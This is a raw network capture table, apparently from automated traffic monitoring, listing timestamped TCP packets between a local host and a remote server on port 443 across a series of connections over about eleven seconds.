Jan 9, 2025 08:29:47.403129101 CET	50084	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:47.403979063 CET	50084	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:47.405365944 CET	50090	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:47.405424118 CET	443	50090	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:47.405704975 CET	50090	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:47.406044006 CET	50090	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:47.406063080 CET	443	50090	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:47.863293886 CET	443	50090	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:47.865070105 CET	50090	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:47.865104914 CET	443	50090	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:48.006293058 CET	443	50090	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:48.006340981 CET	443	50090	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:48.006367922 CET	443	50090	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:48.006393909 CET	443	50090	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:48.006397009 CET	50090	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:48.006444931 CET	443	50090	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:48.006462097 CET	50090	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:48.006527901 CET	443	50090	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:48.006577015 CET	50090	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:48.007347107 CET	50090	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:48.008521080 CET	50096	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:48.008569956 CET	443	50096	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:48.008647919 CET	50096	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:48.008960962 CET	50096	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:48.008972883 CET	443	50096	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:48.495945930 CET	443	50096	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:48.498145103 CET	50096	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:48.498172998 CET	443	50096	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:48.640168905 CET	443	50096	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:48.640223026 CET	443	50096	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:48.640259981 CET	443	50096	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:48.640290976 CET	443	50096	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:48.640291929 CET	50096	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:48.640310049 CET	443	50096	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:48.640337944 CET	50096	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:48.640386105 CET	443	50096	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:48.640460014 CET	50096	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:48.641112089 CET	50096	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:48.643416882 CET	50099	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:48.643466949 CET	443	50099	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:48.643522024 CET	50099	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:48.643789053 CET	50099	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:48.643800974 CET	443	50099	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:49.118273973 CET	443	50099	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:49.133337021 CET	50099	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:49.133378983 CET	443	50099	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:49.251485109 CET	443	50099	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:49.251533985 CET	443	50099	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:49.251559973 CET	443	50099	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:49.251588106 CET	443	50099	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:49.251588106 CET	50099	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:49.251619101 CET	443	50099	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:49.251708031 CET	443	50099	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:49.251713991 CET	50099	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:49.251883984 CET	50099	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:49.253318071 CET	50099	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:49.253458977 CET	50103	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:49.253500938 CET	443	50103	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:49.253699064 CET	50103	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:49.253834009 CET	50103	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:49.253845930 CET	443	50103	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:49.728030920 CET	443	50103	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:49.729758024 CET	50103	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:49.729784012 CET	443	50103	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:49.876607895 CET	443	50103	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:49.876657963 CET	443	50103	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:49.876683950 CET	443	50103	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:49.876693964 CET	50103	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:49.876712084 CET	443	50103	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:49.876745939 CET	50103	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:49.876753092 CET	443	50103	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:49.877149105 CET	443	50103	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:49.877187967 CET	50103	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:49.877902985 CET	50103	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:49.879445076 CET	50109	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:49.879486084 CET	443	50109	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:49.879553080 CET	50109	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:49.880702972 CET	50109	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:49.880716085 CET	443	50109	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:50.359555006 CET	443	50109	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:50.361608982 CET	50109	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:50.361629963 CET	443	50109	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:50.484178066 CET	443	50109	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:50.484220982 CET	443	50109	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:50.484247923 CET	443	50109	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:50.484275103 CET	443	50109	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:50.484324932 CET	50109	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:50.484339952 CET	443	50109	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:50.484355927 CET	443	50109	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:50.484360933 CET	50109	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:50.484405994 CET	50109	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:50.485907078 CET	50109	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:50.486968994 CET	50115	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:50.487035990 CET	443	50115	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:50.487129927 CET	50115	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:50.487328053 CET	50115	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:50.487343073 CET	443	50115	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:50.951103926 CET	443	50115	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:50.955348015 CET	50115	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:50.955379963 CET	443	50115	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:51.090065002 CET	443	50115	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:51.090121031 CET	443	50115	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:51.090317011 CET	50115	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:51.090353012 CET	443	50115	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:51.094659090 CET	443	50115	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:51.094691992 CET	443	50115	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:51.094770908 CET	443	50115	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:51.094803095 CET	50115	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:51.097419024 CET	50115	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:51.098805904 CET	50115	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:51.098807096 CET	50121	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:51.098850012 CET	443	50121	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:51.101396084 CET	50121	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:51.105326891 CET	50121	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:51.105354071 CET	443	50121	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:51.580916882 CET	443	50121	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:51.633335114 CET	50121	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:51.636616945 CET	50121	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:51.636636019 CET	443	50121	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:51.737301111 CET	443	50121	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:51.737360001 CET	443	50121	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:51.737371922 CET	443	50121	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:51.737402916 CET	50121	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:51.737406969 CET	443	50121	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:51.737421036 CET	443	50121	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:51.737442017 CET	50121	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:51.737514973 CET	443	50121	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:51.737672091 CET	50121	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:51.738805056 CET	50121	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:51.743340969 CET	50125	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:51.743374109 CET	443	50125	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:51.743702888 CET	50125	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:51.747361898 CET	50125	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:51.747384071 CET	443	50125	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:52.214426041 CET	443	50125	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:52.216497898 CET	50125	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:52.216526031 CET	443	50125	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:52.341592073 CET	443	50125	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:52.341672897 CET	443	50125	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:52.341696024 CET	443	50125	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:52.341720104 CET	443	50125	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:52.341720104 CET	50125	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:52.341746092 CET	443	50125	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:52.341766119 CET	50125	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:52.341825008 CET	443	50125	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:52.341892958 CET	50125	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:52.342983007 CET	50125	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:52.344381094 CET	50128	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:52.344436884 CET	443	50128	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:52.344501019 CET	50128	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:52.344917059 CET	50128	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:52.344938040 CET	443	50128	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:52.461131096 CET	50128	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:52.466691017 CET	50129	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:52.466756105 CET	443	50129	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:52.466825008 CET	50129	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:52.467111111 CET	50129	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:52.467128992 CET	443	50129	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:52.507329941 CET	443	50128	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:52.805330038 CET	443	50128	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:52.805409908 CET	50128	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:52.951076031 CET	443	50129	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:52.951205015 CET	50129	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:52.953248978 CET	50129	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:52.953255892 CET	443	50129	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:52.953515053 CET	443	50129	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:52.954994917 CET	50129	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:52.995332956 CET	443	50129	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:53.097511053 CET	443	50129	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:53.097568035 CET	443	50129	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:53.097594023 CET	443	50129	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:53.097621918 CET	443	50129	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:53.097654104 CET	50129	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:53.097671986 CET	443	50129	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:53.097721100 CET	443	50129	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:53.097755909 CET	50129	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:53.098484993 CET	50129	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:53.098490953 CET	443	50129	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:53.098536015 CET	50129	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:53.098550081 CET	50129	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:53.099632025 CET	50135	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:53.099692106 CET	443	50135	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:53.099771023 CET	50135	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:53.100020885 CET	50135	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:53.100033045 CET	443	50135	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:53.555989027 CET	443	50135	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:53.557943106 CET	50135	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:53.557979107 CET	443	50135	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:53.696779966 CET	443	50135	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:53.696830034 CET	443	50135	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:53.696861029 CET	443	50135	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:53.696890116 CET	443	50135	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:53.696986914 CET	443	50135	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:53.697097063 CET	50135	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:53.698992968 CET	50141	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:53.698997021 CET	50135	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:53.699026108 CET	443	50141	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:53.699107885 CET	50141	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:53.699330091 CET	50141	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:53.699347973 CET	443	50141	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:54.155004025 CET	443	50141	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:54.157089949 CET	50141	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:54.157104969 CET	443	50141	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:54.277240038 CET	443	50141	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:54.277291059 CET	443	50141	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:54.277321100 CET	443	50141	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:54.277333975 CET	50141	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:54.277350903 CET	443	50141	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:54.277384996 CET	443	50141	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:54.277398109 CET	50141	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:54.277405977 CET	443	50141	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:54.277445078 CET	50141	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:54.277451992 CET	443	50141	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:54.277484894 CET	443	50141	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:54.277523041 CET	50141	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:54.278682947 CET	50141	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:54.280211926 CET	50147	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:54.280251980 CET	443	50147	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:54.280323029 CET	50147	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:54.280617952 CET	50147	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:54.280631065 CET	443	50147	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:54.781269073 CET	443	50147	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:54.785358906 CET	50147	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:54.785376072 CET	443	50147	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:54.913690090 CET	443	50147	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:54.913746119 CET	443	50147	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:54.913777113 CET	443	50147	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:54.913806915 CET	443	50147	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:54.913878918 CET	443	50147	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:54.914717913 CET	50147	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:54.914717913 CET	50147	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:54.917346001 CET	50153	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:54.917371035 CET	443	50153	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:54.921629906 CET	50153	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:54.921629906 CET	50153	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:54.921654940 CET	443	50153	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:55.376655102 CET	443	50153	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:55.378376961 CET	50153	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:55.378388882 CET	443	50153	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:55.492113113 CET	443	50153	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:55.492160082 CET	443	50153	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:55.492192984 CET	443	50153	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:55.492224932 CET	443	50153	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:55.492316008 CET	443	50153	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:55.492340088 CET	50153	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:55.492664099 CET	50153	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:55.493639946 CET	50153	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:55.495120049 CET	50154	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:55.495177984 CET	443	50154	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:55.495547056 CET	50154	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:55.495793104 CET	50154	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:55.495810986 CET	443	50154	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:55.950381994 CET	443	50154	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:55.952629089 CET	50154	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:55.952675104 CET	443	50154	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:56.074440002 CET	443	50154	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:56.074489117 CET	443	50154	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:56.074517012 CET	443	50154	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:56.074547052 CET	443	50154	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:56.074568033 CET	50154	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:56.074600935 CET	443	50154	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:56.074618101 CET	50154	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:56.074666977 CET	443	50154	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:56.074717999 CET	50154	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:56.075299978 CET	50154	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:56.076854944 CET	50159	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:56.076893091 CET	443	50159	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:56.077003002 CET	50159	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:56.077248096 CET	50159	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:56.077264071 CET	443	50159	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:56.563961029 CET	443	50159	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:56.565933943 CET	50159	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:56.565958023 CET	443	50159	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:56.661588907 CET	50159	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:56.661705017 CET	443	50159	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:56.661782980 CET	50159	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:56.662852049 CET	50160	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:56.662903070 CET	443	50160	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:56.662985086 CET	50160	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:56.663347960 CET	50160	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:56.663357973 CET	443	50160	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:57.120767117 CET	443	50160	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:57.120891094 CET	50160	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:57.123346090 CET	50160	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:57.123353958 CET	443	50160	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:57.123774052 CET	443	50160	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:57.125159025 CET	50160	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:57.167330980 CET	443	50160	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:57.245852947 CET	443	50160	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:57.245908976 CET	443	50160	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:57.245944977 CET	443	50160	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:57.245965004 CET	50160	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:57.245975018 CET	443	50160	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:57.246026039 CET	443	50160	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:57.246144056 CET	50160	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:57.246150017 CET	443	50160	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:57.246211052 CET	50160	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:57.246220112 CET	443	50160	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:57.246408939 CET	443	50160	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:57.246490955 CET	50160	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:57.247083902 CET	50160	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:57.248543978 CET	50161	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:57.248603106 CET	443	50161	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:57.248842001 CET	50161	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:57.249433041 CET	50161	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:57.249458075 CET	443	50161	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:57.705869913 CET	443	50161	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:57.707676888 CET	50161	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:57.707751036 CET	443	50161	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:57.843329906 CET	443	50161	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:57.843378067 CET	443	50161	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:57.843405008 CET	443	50161	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:57.843435049 CET	443	50161	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:57.843440056 CET	50161	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:57.843529940 CET	443	50161	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:57.843563080 CET	50161	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:57.843981981 CET	443	50161	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:57.844033957 CET	50161	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:57.844701052 CET	50161	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:57.846112013 CET	50162	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:57.846153975 CET	443	50162	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:57.846251011 CET	50162	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:57.846538067 CET	50162	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:57.846546888 CET	443	50162	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:58.324561119 CET	443	50162	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:58.326477051 CET	50162	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:58.326493979 CET	443	50162	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:58.477996111 CET	443	50162	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:58.478123903 CET	443	50162	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:58.478156090 CET	443	50162	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:58.478168011 CET	50162	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:58.478179932 CET	443	50162	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:58.478225946 CET	50162	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:58.478235960 CET	443	50162	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:58.480582952 CET	443	50162	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:58.480670929 CET	50162	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:58.481306076 CET	50162	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:58.483102083 CET	50163	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:58.483211994 CET	443	50163	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:58.483335972 CET	50163	443	192.168.2.4	188.114.96.3
